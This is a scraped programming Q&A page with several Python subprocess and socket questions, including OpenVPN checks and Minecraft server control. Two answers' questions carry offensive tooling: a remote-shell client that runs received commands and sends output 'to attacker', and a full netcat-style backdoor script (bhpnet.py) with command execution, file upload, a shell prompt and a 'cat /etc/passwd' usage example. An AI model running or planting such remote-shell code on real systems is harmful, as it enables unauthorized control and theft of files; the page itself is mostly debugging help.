Python script to check openvpn server is active or dead - python

I am looking at the python program which will check if list of remote openvpn servers are really working!!
I tried the following code but no luck. after connecting the vpn server the control is not passing back to execute next line unless pressed ctrl+c. How to check below:
If the openvpn is connecting server then print active message
Else print not active message.
The whole thing is in a loop and I want to run in a virtual environment.
Code is given below
path = tempfile.mkstemp()
print('Path:',path)
f = open(path, 'w')
f.write(base64.b64decode(winner[-1]).decode('utf-8'))
f.close()
x = subprocess.Popen(['sudo', 'openvpn', '--config', path])
print("\n\n Pid:",x.pid)
try:
print('############ inside try block############', x.pid)
while True:
print('############ inside while try block############', x.pid)
time.sleep(60)
if (x.wait() == 0):
# died_serv_list.append(winner)
print('\nDead server found....Exiting.....\n')
return
print('############terminating the current prosses############', x.pid)
x.send_signal(9)
# y = subprocess.Popen(['sudo', 'kill', '-9', x.pid])
break
# termination with Ctrl+C
except: #here issue only works with ctrl+C
try:
print('\n\n\n Nice server found...\n\n')
good_serv_list.append(winner)
print('we are inside exept.')
x.kill()
except:
pass
while x.poll() != 0:
print('\n\n Donot know what the hell is this')
time.sleep(1)
print('\nVPN terminated')

Related

Internet after task wakeup

I have created a task to wake up the laptop from hib each 2 hours and run a .bat file.
Inside that .bat file I run a python script.
Inside that python script I have something like this:
temp_timeout = 3
while temp_timeout:
try:
response = urlopen('http://google.com', timeout=1)
return
except URLError:
print("No internet")
os.system("netsh wlan disconnect interface=NAME")
time.sleep(10)
os.system("netsh wlan connect name=NAME ssid=SSID")
time.sleep(10)
temp_timeout = temp_timeout - 1
pass
quit()
#do some stuff and go to hibernation
The problem is that from 10 wakeups I get "No internet"(x3) 2-3 times and the rest of 8-7 it's working properly. What could be the problem, why it is not working every time?

Hosting and stopping a minecraft server through subprocess on python

I've been trying to write a python script to control the starting and stopping of a minecraft server. I've got it to accept commands through input() but i also wanted the logs of the server to be printed on the console(or be processed someway), since that the process never ends, readline hangs everytime the server finished outputing text,no further input can be performed. Is there a way to let stdin and stdout to work simultaneously,or is there a way to time out readline so i can continue?
The code i've got so far:
import subprocess
from subprocess import PIPE
import os
minecraft_dir = "D:\Minecraft Server"
executable = 'java -Xms4G -Xmx4G -jar "D:\Minecraft Server\paper-27.jar" java'
process = None
def server_command(cmd):
if(process is not None):
cmd = cmd + '\n'
cmd = cmd.encode("utf-8")
print(cmd)
process.stdin.write(cmd)
process.stdin.flush()
else:
print("Server is not running.")
def server_stop():
if process is None:
print("Server is not running.")
else:
process.stdin.write("stop\n".encode("utf-8"))
process.stdin.flush()
while True:
command=input()
command=command.lower()
if(command == "start"):
if process is None:
os.chdir(minecraft_dir)
process = subprocess.Popen(executable,stdin=PIPE,stdout=PIPE)
print("Server started.")
else:
print("Server Already Running.")
elif(command == "stop"):
server_stop()
process=None
else:
server_command(command)
I've mentioned processing the server log someway or the other because i don't really need it on the console,since i can always read from a file that it generated. But this particular server i'm running needs the stdout=PIPE argument or it throws out
java.io.IOException: ReadConsoleInputW failed
at org.fusesource.jansi.internal.Kernel32.readConsoleInputHelper(Kernel32.java:816)
at org.fusesource.jansi.internal.WindowsSupport.readConsoleInput(WindowsSupport.java:99)
at org.jline.terminal.impl.jansi.win.JansiWinSysTerminal.processConsoleInput(JansiWinSysTerminal.java:112)
at org.jline.terminal.impl.AbstractWindowsTerminal.pump(AbstractWindowsTerminal.java:458)
at java.lang.Thread.run(Unknown Source)
and i think it breaks the PIPE? Because no further input is directed to the process(process.stdin.write not working), yet the process is still running.
Any help on either one of the issue would be greatly appreciated.

Python program pauses when server runs

I am making a python program that communicates with a minecraft server and tells it to start, stop, or any other commands. The program reads an email and executes the command given from the email. When the program enters the command to start the server, it freezes the python program until the minecraft server is stopped.
I have tried to have the program open a batch file that starts the server, but then I don't have any way of making the program turn it off, or type in commands, or read the console.
if data[0]+data[1]+data[2]+data[3]+data[4]+data[5] == 'start ':
comm = data.replace('start ','')
try:
mb = int(float(comm)*1024)
#calls the command to start the server
call('java -Xmx' + str(mb) + 'M -Xms' + str(mb) + 'M -jar server.jar nogui')
#program freezes here until server is stopped
except Exception:
call('java -Xmx1024M -Xms1024M -jar server.jar nogui')
print("started server")
elif data == "stop server" or data == "stop":
call('stop')
elif data[0]+data[1]+data[2]+data[3]+data[4] == 'call ':
comm = data.replace('call ','')
call(comm)
print("called command")
elif data[0]+data[1]+data[2] == 'op ':
comm = data
call(comm)
print("op player")
else:
print("not a command")
deletemail(mail,i)
print("deleted item")
I expected to see the program continue and respond to emails, but it froze instead. The program continued off normally after the server was stopped. I know this isn't an error, but is there a way to get the python program to continue while the server is running?
Its is better practice to use subprocess to handle this. You can use popen which will allow you to continue to run your script and send in commands. Here is a good answer on using popen that shows how to send in commands.

Trying to create a remote shell, program does not print command output as desired

I'm trying to create a remote shell in python and have got the server to send a command to the client and to have it executed on the remote machine. What is going wrong is that although the client is sending back the output (from my understanding) the server is not receiving and printing it properly. It was working up until I changed my code to receive all data, not just one chunk. How do I receive all the data and print it correctly?
Server code:
while True:
try:
command = input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(command.encode('utf-8'))
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented commands.\n")
continue
if(command == "quit"):
break
total_data = []
while True:
data = client_socket.recv(8192)
if not data: break
total_data.append(data)
print(total_data + '\n')
# try:
# output = ''
# data = ''
# while True:
# data += client_socket.recv(1024).decode('utf-8')
# if not data:
# break
# else:
# output += data
# except Exception:
# if output:
# pass
# else:
# print("failed")
# print(data + "\n")
Client code:
while True:
command = connexion_socket.recv(1024).decode('utf-8')
split_command = command.split()
print("Received command : " +command)
# if its quit, then break out and close socket
if command == "quit":
break
if(command.split()[0] == "cd"):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd().encode('utf-8')))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(("Changed directory to " + os.getcwd()).encode('utf-8'))
except(WindowsError):
connexion_socket.send(str.encode("No such directory : " +os.getcwd()))
else:
# do shell command
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = (proc.stdout.read() + proc.stderr.read()).decode('utf-8')
print(stdout_value + "\n")
# send output to attacker
if(stdout_value != ""):
connexion_socket.send(stdout_value.encode('utf-8'))
else:
connexion_socket.send((command+ " does not return anything").encode('utf-8'))
If any more info is needed please just ask :)
It appears you are using stream sockets. In that case the problem is you cannot test for EOF (zero length data being read) to break out of your receiving loop if the connection is not being closed (by client.py). Your server.py reads the input, but then goes back to receive more from the socket and just waits for more data (which is not coming).
In client.py you can start your loop by accepting a new connection and end by closing it (note: the socket returned by accept is to be closed, not the listening one whose accept method was called). In server.py you can start and end your loop by setting up and close the connection (resp.) to your counterpart. In that case if not data: break can be used just fine.
The other option is. You can handle this on protocol/application level. You either start your transmission by sending length of data to follow (and receive until you have this now known amount of data) or pick a message delimiter (e.g. b'\0') which you also send after each complete block of output. You can then receive data one by one until you reach the next delimiter. In this case you can keep your existing connection alive and reuse it for forth and back communications. I.e. in your receiving loop you check for: if data == b'\0': break and you send conn.send(b'\0') after each message in your client.py loop.
Unrelated side note: WindowsError should be a subclass of OSError which is the one your probably really want to catch to make your code portable.

Python error: command not found

I recently bought a book to start playing around a bit with python and one of the scripts is the following:
#!/usr/bin/python2.7
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
# this runs a command and returns the output
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and get the output back
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# send the output back to the client
return output
# this handles incoming client connections
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all of the bytes and write to our destination
file_buffer = ""
# keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# we have a valid command so execute it and send back the results
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
# this is for incoming connections
def server_loop():
global target
global port
# if no target is defined we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
# if we don't listen we are a client....make it so.
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to our target host
client.connect((target,port))
# if we detect input from stdin send it
# if not we are going to wait for the user to punch some in
if len(buffer):
client.send(buffer)
while True:
# now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:
break
print response,
# wait for more input
buffer = raw_input("")
buffer += "\n"
# send it off
client.send(buffer)
except:
# just catch generic errors - you can do your homework to beef this up
print "[*] Exception! Exiting."
# teardown the connection
client.close()
def usage():
print "Netcat Replacement"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run - execute the given file upon receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
# are we going to listen or just send data from stdin
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
I have debugged the script and try to run it in terminal but it looks like it hangs for a while and then I get the following error:
./bhnet.py: line 10: listen: command not found
./bhnet.py: line 11: =: command not found
./bhnet.py: line 12: upload: command not found
./bhnet.py: line 13: execute: command not found
./bhnet.py: line 14: target: command not found
./bhnet.py: line 15: upload_destination: command not found
./bhnet.py: line 16: port: command not found
./bhnet.py: line 19: syntax error near unexpected token `('
./bhnet.py: line 19: `def run_command(command):'
I checked the code with the one in the book and even have the actual code so I tried that as well but still nothing. I wish I could be more specific than that. Any suggestions would be appreciated. Thanks.
This isn't really in my expertise, but I'll try to shed some light on it.
Background information
When you run a script in a Unix-like system, typically you can call the interpreter program with the path to the script passed as an argument, e.g. python bhnet.py.
However, if you have things configured appropriately, you can also run your script as a standalone executable: ./bhnet.py. In order to do this, you generally need to:
Make sure execute permissions are turned on (chmod +x or equivalent).
Start the first line in the script with the symbols #! (called a "shebang") followed by the path to the interpreter to use.
Your case
The first line in your file is #!/usr/bin/python2.7, which seems plausible enough. What should happen when you run ./bhnet.py is that the interpreter at /usr/bin/python2.7 should get used to run your script. As long as /usr/bin/python2.7 is a Python interpreter, it should be ok...
However, what appears to be happening is that whatever interpreter is being called when you run ./bhnet.py is trying to run the script as a shell script rather than as Python. Perhaps whatever is actually at the path /usr/bin/python2.7 is not Python for some reason. Or perhaps your file doesn't actually start with what you pasted in the question, but maybe you accidentally overwrote the first line in your file with a different interpreter directive, like #!/bin/sh? There are probably other things that could cause this, too.
In any case, whatever is your default python seems to be working fine. (To see what your default points to, you can run which python.)
Recommendation
If you want to run the file as a standalone executable (i.e. ./bhnet.py), try changing the first line to:
#!/usr/bin/env python
This seems to be the recommended shebang line for Python, and it should work fine in your case. But I'd still be interested to know what happened to your /usr/bin/python2.7.
If the file was created on Windows, try running dos2unix before running on a UNIX-like system.

Categories

Resources